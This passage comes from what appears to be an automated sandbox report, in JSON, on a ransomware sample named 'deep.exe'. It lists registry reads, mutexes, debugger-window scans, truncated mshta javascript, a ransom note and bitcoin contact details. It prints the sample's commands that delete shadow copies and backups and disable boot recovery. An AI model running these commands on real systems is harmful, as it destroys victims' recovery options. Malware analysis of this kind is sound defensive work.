\"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\DEEP.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-7","type":2,"relevance":1,"name":"Contains PDB pathways","description":"\"WMIC.pdb\"","description_v2":["\"WMIC.pdb\""],"description_v3":[{"type":"text","value":"\"WMIC.pdb\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"mutant-0","type":4,"relevance":3,"name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"DBWinMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"","description_v2":["\"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","\"DBWinMutex\"","\"Local\\ZonesCacheCounterMutex\"","\"Local\\ZoneAttributeCacheCounterMutex\"","\"Local\\ZonesLockedCacheCounterMutex\"","\"Local\\ZonesCounterMutex\""],"description_v3":[{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"DBWinMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZoneAttributeCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesCounterMutex\""}],"origin":"Created Mutant","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-3","type":9,"relevance":5,"name":"Runs shell commands","description":"\"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" on 2018-7-20.16:38:28.821\n \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" on 2018-7-20.16:38:40.568\n \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2018-7-20.16:40:54.709\n \"/c wmic SHADOWCOPY DELETE\" on 2018-7-20.16:40:54.989\n \"/c vssadmin Delete Shadows /All /Quiet\" on 2018-7-20.16:40:55.319\n \"/c bcdedit /set {default} recoveryenabled No\" on 2018-7-20.16:40:55.490\n \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2018-7-20.16:40:55.690\n \"/C NET USE\" on 2018-7-20.16:43:01.739\n \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\" on 2018-7-20.16:43:13.175","description_v2":["\"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" on 2018-7-20.16:38:28.821","\"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" on 2018-7-20.16:38:40.568","\"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2018-7-20.16:40:54.709","\"/c wmic SHADOWCOPY DELETE\" on 2018-7-20.16:40:54.989","\"/c vssadmin Delete Shadows /All /Quiet\" on 2018-7-20.16:40:55.319","\"/c bcdedit /set {default} recoveryenabled No\" on 2018-7-20.16:40:55.490","\"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2018-7-20.16:40:55.690","\"/C NET USE\" on 2018-7-20.16:43:01.739","\"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\" on 2018-7-20.16:43:13.175"],"description_v3":[{"type":"text","value":"\"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" on 2018-7-20.16:38:28.821"},{"type":"linebreak"},{"type":"text","value":"\"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" on 2018-7-20.16:38:40.568"},{"type":"linebreak"},{"type":"text","value":"\"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2018-7-20.16:40:54.709"},{"type":"linebreak"},{"type":"text","value":"\"/c wmic SHADOWCOPY DELETE\" on 2018-7-20.16:40:54.989"},{"type":"linebreak"},{"type":"text","value":"\"/c vssadmin Delete Shadows /All /Quiet\" on 2018-7-20.16:40:55.319"},{"type":"linebreak"},{"type":"text","value":"\"/c bcdedit /set {default} recoveryenabled No\" on 2018-7-20.16:40:55.490"},{"type":"linebreak"},{"type":"text","value":"\"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2018-7-20.16:40:55.690"},{"type":"linebreak"},{"type":"text","value":"\"/C NET USE\" on 2018-7-20.16:43:01.739"},{"type":"linebreak"},{"type":"text","value":"\"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\" on 2018-7-20.16:43:13.175"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-70","type":6,"relevance":10,"name":"Scanning for window names","description":"\"\" searching for class \"OLLYDBG\"\n \"\" searching for class \"GBDYLLO\"\n \"\" searching for class \"pediy06\"\n \"\" searching for class \"FilemonClass\"\n \"\" searching for window \"File Monitor - Sysinternals: www.sysinternals.com\"\n \"\" searching for class \"PROCMON_WINDOW_CLASS\"\n \"\" searching for window \"Process Monitor - Sysinternals: www.sysinternals.com\"\n \"\" searching for class \"RegmonClass\"\n \"\" searching for window \"Registry Monitor - Sysinternals: www.sysinternals.com\"\n \"\" searching for class \"18467-41\"","description_v2":["\"\" searching for class \"OLLYDBG\"","\"\" searching for class \"GBDYLLO\"","\"\" searching for class \"pediy06\"","\"\" searching for class \"FilemonClass\"","\"\" searching for window \"File Monitor - Sysinternals: www.sysinternals.com\"","\"\" searching for class \"PROCMON_WINDOW_CLASS\"","\"\" searching for window \"Process Monitor - Sysinternals: www.sysinternals.com\"","\"\" searching for class \"RegmonClass\"","\"\" searching for window \"Registry Monitor - Sysinternals: www.sysinternals.com\"","\"\" searching for class \"18467-41\""],"description_v3":[{"type":"text","value":"\"\" searching for class \"OLLYDBG\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for class \"GBDYLLO\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for class \"pediy06\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for class \"FilemonClass\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for window \"File Monitor - Sysinternals: www.sysinternals.com\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for class \"PROCMON_WINDOW_CLASS\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for window \"Process Monitor - Sysinternals: www.sysinternals.com\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for class \"RegmonClass\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for window \"Registry Monitor - Sysinternals: www.sysinternals.com\""},{"type":"linebreak"},{"type":"text","value":"\"\" searching for class \"18467-41\""}],"origin":"API Call","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-25","type":9,"relevance":3,"name":"Spawns new processes","description":"$26","description_v2":["Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" (UID: 00016417-00003944)","Spawned process \"\" with commandline \"runas\" (UID: 00016469-00003828)","Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" (UID: 00017590-00003040)","Spawned process \"\" (UID: 00017674-00002524)","Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ...\" (UID: 00018756-00002344), Spawned process \"mshta.exe\" with commandline \"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ...\" (UID: 00018763-00002328)","Spawned process \"cmd.exe\" with commandline \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00018995-00003448)","Spawned process \"cmd.exe\" with commandline \"/c wmic SHADOWCOPY DELETE\" (UID: 00019026-00003472)","Spawned process \"cmd.exe\" with commandline \"/c vssadmin Delete Shadows /All /Quiet\" (UID: 00019050-00003624)","Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\" (UID: 00019063-00003736)","Spawned process \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00019094-00001104)","Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019096-00003444)","Spawned process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)","Spawned process \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)","Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00019159-00003844)","Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019208-00003880)","Spawned process \"cmd.exe\" with commandline \"/C NET USE\" (UID: 00019705-00003780)","Spawned process \"net.exe\" with commandline \"NET USE\" (UID: 00019711-00003684)","Spawned process \"cmd.exe\" with commandline \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTE ...\" (UID: 00020827-00003560), Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ...\" (UID: 00020855-00003552)"],"description_v3":[{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\""},{"type":"process","process_uid":"00016417-00003944","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"\" with commandline \"runas\""},{"type":"process","process_uid":"00016469-00003828","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\""},{"type":"process","process_uid":"00017590-00003040","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"\""},{"type":"process","process_uid":"00017674-00002524","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ...\""},{"type":"process","process_uid":"00018756-00002344","label":"Show Process"},{"type":"text","value":", Spawned process \"mshta.exe\" with commandline \"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ...\""},{"type":"process","process_uid":"00018763-00002328","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00018995-00003448","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019026-00003472","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019050-00003624","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\""},{"type":"process","process_uid":"00019063-00003736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00019094-00001104","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019096-00003444","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019136-00003816","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019155-00004044","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\""},{"type":"process","process_uid":"00019159-00003844","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019208-00003880","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C NET USE\""},{"type":"process","process_uid":"00019705-00003780","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"net.exe\" with commandline \"NET USE\""},{"type":"process","process_uid":"00019711-00003684","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTE ...\""},{"type":"process","process_uid":"00020827-00003560","label":"Show Process"},{"type":"text","value":", Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ...\""},{"type":"process","process_uid":"00020855-00003552","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-103","type":9,"relevance":3,"name":"Spawns new processes that are not known child processes","description":"$27","description_v2":["Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" (UID: 00016417-00003944)","Spawned process \"\" with commandline \"runas\" (UID: 00016469-00003828)","Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" (UID: 00017590-00003040)","Spawned process \"\" (UID: 00017674-00002524)","Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ...\" (UID: 00018756-00002344), Spawned process \"mshta.exe\" with commandline \"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ...\" (UID: 00018763-00002328)","Spawned process \"cmd.exe\" with commandline \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00018995-00003448)","Spawned process \"cmd.exe\" with commandline \"/c wmic SHADOWCOPY DELETE\" (UID: 00019026-00003472)","Spawned process \"cmd.exe\" with commandline \"/c vssadmin Delete Shadows /All /Quiet\" (UID: 00019050-00003624)","Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\" (UID: 00019063-00003736)","Spawned process \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00019094-00001104)","Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019096-00003444)","Spawned process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)","Spawned process \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)","Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00019159-00003844)","Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019208-00003880)","Spawned process \"cmd.exe\" with commandline \"/C NET USE\" (UID: 00019705-00003780)","Spawned process \"net.exe\" with commandline \"NET USE\" (UID: 00019711-00003684)","Spawned process \"cmd.exe\" with commandline \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTE ...\" (UID: 00020827-00003560), Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ...\" (UID: 00020855-00003552)"],"description_v3":[{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\""},{"type":"process","process_uid":"00016417-00003944","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"\" with commandline \"runas\""},{"type":"process","process_uid":"00016469-00003828","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\""},{"type":"process","process_uid":"00017590-00003040","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"\""},{"type":"process","process_uid":"00017674-00002524","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ...\""},{"type":"process","process_uid":"00018756-00002344","label":"Show Process"},{"type":"text","value":", Spawned process \"mshta.exe\" with commandline \"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ...\""},{"type":"process","process_uid":"00018763-00002328","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00018995-00003448","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019026-00003472","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019050-00003624","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\""},{"type":"process","process_uid":"00019063-00003736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00019094-00001104","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019096-00003444","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019136-00003816","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019155-00004044","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\""},{"type":"process","process_uid":"00019159-00003844","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019208-00003880","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C NET USE\""},{"type":"process","process_uid":"00019705-00003780","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"net.exe\" with commandline \"NET USE\""},{"type":"process","process_uid":"00019711-00003684","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTE ...\""},{"type":"process","process_uid":"00020827-00003560","label":"Show Process"},{"type":"text","value":", Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ...\""},{"type":"process","process_uid":"00020855-00003552","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"api-16","type":6,"relevance":1,"name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"mshta.exe\" connecting to \"\\ThemeApiPort\"\n \"WMIC.exe\" connecting to \"\\ThemeApiPort\"\n \"notepad.exe\" connecting to \"\\ThemeApiPort\"","description_v2":["\"\" connecting to \"\\ThemeApiPort\"","\"mshta.exe\" connecting to \"\\ThemeApiPort\"","\"WMIC.exe\" connecting to \"\\ThemeApiPort\"","\"notepad.exe\" connecting to \"\\ThemeApiPort\""],"description_v3":[{"type":"text","value":"\"\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"notepad.exe\" connecting to \"\\ThemeApiPort\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"binary-0","type":8,"relevance":3,"name":"Dropped files","description":"\"LMeWCFyUXhYBLR.bmp\" has type \"PC bitmap Windows 3.x format 960 x 520 x 24\"\n \"HOW TO RECOVER ENCRYPTED FILES.TXT\" has type \"ASCII text with CRLF line terminators\"\n \"desktop.ini\" has type \"empty\"","description_v2":["\"LMeWCFyUXhYBLR.bmp\" has type \"PC bitmap Windows 3.x format 960 x 520 x 24\"","\"HOW TO RECOVER ENCRYPTED FILES.TXT\" has type \"ASCII text with CRLF line terminators\"","\"desktop.ini\" has type \"empty\""],"description_v3":[{"type":"text","value":"\"LMeWCFyUXhYBLR.bmp\" has type \"PC bitmap Windows 3.x format 960 x 520 x 24\""},{"type":"linebreak"},{"type":"text","value":"\"HOW TO RECOVER ENCRYPTED FILES.TXT\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"desktop.ini\" has type \"empty\""}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"api-55","type":6,"relevance":7,"name":"Touches files in the Windows directory","description":"$28","description_v2":["\"\" touched file \"C:\\Windows\\System32\\ntdll.dll\"","\"\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\"","\"\" touched file \"C:\\Windows\\System32\\en-US\\setupapi.dll.mui\"","\"\" touched file \"C:\\Users\\ScTP5xD\\AppData\\Local\\Microsoft\\Windows\\Caches\"","\"\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db\"","\"\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\"","\"\" touched file \"C:\\Windows\\System32\\en-US\\propsys.dll.mui\"","\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\"","\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\"","\"cmd.exe\" touched file \"C:\\Windows\\System32\\en-US\\cmd.exe.mui\"","\"\" touched file \"C:\\Windows\\AppPatch\\sysmain.sdb\""],"description_v3":[{"type":"text","value":"\"\" touched file \"C:\\Windows\\System32\\ntdll.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\System32\\en-US\\setupapi.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\System32\\en-US\\propsys.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\""},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" touched file \"C:\\Windows\\System32\\en-US\\cmd.exe.mui\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\AppPatch\\sysmain.sdb\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-3","type":2,"relevance":10,"name":"Found potential URL in binary/memory","description":"Pattern match: \"https://localbitcoins.com/buy_bitcoins\"\n Heuristic match: \"Contact us using this email address: mrdeep@protonmail.com\"\n Pattern match: \"http://www.coindesk.com/information/how-can-i-buy-bitcoins\"\n Pattern match: \"www.sysinternals.com\"\n Pattern match: \"https://localbitcoins.com/buy\"\n Heuristic match: \"mrdeep@protonmail.com\"","description_v2":["Pattern match: \"https://localbitcoins.com/buy_bitcoins\"","Heuristic match: \"Contact us using this email address: mrdeep@protonmail.com\"","Pattern match: \"http://www.coindesk.com/information/how-can-i-buy-bitcoins\"","Pattern match: \"www.sysinternals.com\"","Pattern match: \"https://localbitcoins.com/buy\"","Heuristic match: \"mrdeep@protonmail.com\""],"description_v3":[{"type":"text","value":"Pattern match: \"https://localbitcoins.com/buy_bitcoins\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"Contact us using this email address: mrdeep@protonmail.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://www.coindesk.com/information/how-can-i-buy-bitcoins\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"www.sysinternals.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://localbitcoins.com/buy\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"mrdeep@protonmail.com\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Remote Access Related","identifier":"string-30","type":2,"relevance":10,"name":"Contains references to WMI/WMIC","description":"\"root\\cimv2\" (Indicator: \"root\\cimv2\")\n \"WMIC.exe\" (Indicator: \"wmic.exe\")","description_v2":["\"root\\cimv2\" (Indicator: \"root\\cimv2\")","\"WMIC.exe\" (Indicator: 